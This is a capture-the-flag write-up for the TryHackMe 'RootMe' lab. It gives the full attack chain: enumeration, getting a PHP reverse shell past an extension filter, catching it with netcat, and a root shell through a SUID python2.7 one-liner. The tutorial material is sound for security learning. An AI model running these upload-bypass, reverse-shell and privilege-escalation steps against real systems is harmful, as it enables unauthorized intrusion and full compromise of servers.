Skip to content

RootMe Writeup - TryHackMe

Easy Linux
Hackercat

Ethical Hacker

RootMe is an Easy Linux machine with a vulnerable file upload function on a web application. The attack chain consists of three phases: enumerating the web application, bypassing a file upload filter to plant a reverse shell, and escalating privileges via a misconfigured SUID binary (python2.7) to gain root access.

Enumeration

Starting with a broad port scan across all 65535 ports to avoid missing any service running on a non-standard port.

┌──(kali㉿kali)-[~]
└─$ nmap -p- -T4 --min-rate 1000 --open --max-retries 2 $TARGET_IP
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Two open ports: SSH and HTTP. Running a targeted scan against these ports for version info and default scripts.

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p 22,80 $TARGET_IP
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 46:41:39:c0:62:fb:77:48:3f:36:d4:ff:7f:c3:9e:27 (RSA)
|   256 69:e8:6e:da:3e:1e:53:77:71:d9:2f:5c:c8:25:15:61 (ECDSA)
|_  256 d1:e4:eb:2f:57:a9:f4:9b:6f:98:07:02:89:09:29:46 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: HackIT - Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 8.45 seconds

The web server runs Apache 2.4.41 on Ubuntu. The PHPSESSID cookie confirms the server is running PHP, useful for a potential PHP shell later. SSH has no credentials yet, so the first target is the web application on port 80.

Web Enumeration

The homepage shows a simple "HackIT" page with minimal content. Running directory brute-force to discover hidden paths.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://$TARGET_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:      http://$TARGET_IP/
[+] Method:   GET
[+] Threads:  10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] Timeout:  10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads      (Status: 301) [Size: 318] [--> http://$TARGET_IP/uploads/]
/css          (Status: 301) [Size: 314] [--> http://$TARGET_IP/css/]
/js           (Status: 301) [Size: 313] [--> http://$TARGET_IP/js/]
/panel        (Status: 301) [Size: 316] [--> http://$TARGET_IP/panel/]
/server-status (Status: 403)
===============================================================
Finished
===============================================================

Two interesting directories: /panel/ and /uploads/. This is a classic setup for a file upload vulnerability. /panel/ likely hosts an upload form, and /uploads/ is where uploaded files land. If we can upload a PHP file and trigger it via /uploads/, we get code execution on the server.

File Upload

The /panel/ page contains an upload form. Uploading a .php reverse shell directly is blocked by an extension filter. However, Apache can execute several alternative PHP extensions that filters commonly overlook, such as .php5 and .phtml.

The PentestMonkey PHP reverse shell comes pre-installed on Kali. Copy and rename it to bypass the filter:

┌──(kali㉿kali)-[~]
└─$ cp /usr/share/webshells/php/php-reverse-shell.php shell.php5

Edit the attacker IP and port in the file (around line 49):

$ip = '$ATTACKER_IP';  // tun0 IP
$port = 4444;

After uploading via /panel/, the server confirms the upload. The file is now accessible at /uploads/shell.php5.

The bypass worked because the filter only blocks .php but not .php5. Apache treats both as executable PHP.

Initial Access

Set up a listener before triggering the shell:

┌──(kali㉿kali)-[~]
└─$ nc -nlvp 4444
listening on [any] 4444 ...

Trigger the shell by navigating to http://$TARGET_IP/uploads/shell.php5 in the browser. The connection comes in:

┌──(kali㉿kali)-[~]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 45430
Linux rootme 5.15.0-139-generic #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
 07:54:29 up 30 min,  0 users,  load average: 0.00, 0.02, 0.07
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

Running as www-data. Upgrading to a stable interactive TTY:

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@rootme:/$ ^Z
[1]+  Stopped                 nc -nlvp 4444

┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg
nc -nlvp 4444

www-data@rootme:/$ export TERM=xterm

Retrieve the user flag:

www-data@rootme / $ find / -name user.txt 2>/dev/null
/var/www/user.txt
www-data@rootme / $ cat /var/www/user.txt
$USER_FLAG

Privilege Escalation

Searching for SUID binaries. Files with the SUID bit run with the permissions of their owner (root) rather than the executing user. A misconfigured SUID binary can be abused to spawn a root shell.

www-data@rootme / $ find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python2.7
/usr/bin/at
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/bin/mount
/bin/su
/bin/fusermount
/bin/umount

/usr/bin/python2.7 stands out immediately. An interpreter with SUID is highly unusual. Python with SUID can spawn a shell that preserves the effective UID (root) using the -p flag on the spawned shell.

www-data@rootme / $ python2.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
root@rootme / # id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
root@rootme / # cat /root/root.txt
$ROOT_FLAG

euid=0 confirms root access. The -p flag prevents the shell from dropping the effective UID on startup, which is what gives us root.

Key Takeaways

  • When an upload filter blocks .php, always try alternative extensions: .php3, .php4, .php5, .phtml. Apache executes all of these as PHP.
  • A binary like python2.7 with SUID gives a direct root shell. Always check for unusual SUID binaries with find / -perm -u=s -type f 2>/dev/null and look them up on GTFOBins.
  • Whenever you find an upload form alongside a directory where files are served, code execution via file upload is the first thing to attempt, especially when the server runs PHP.

References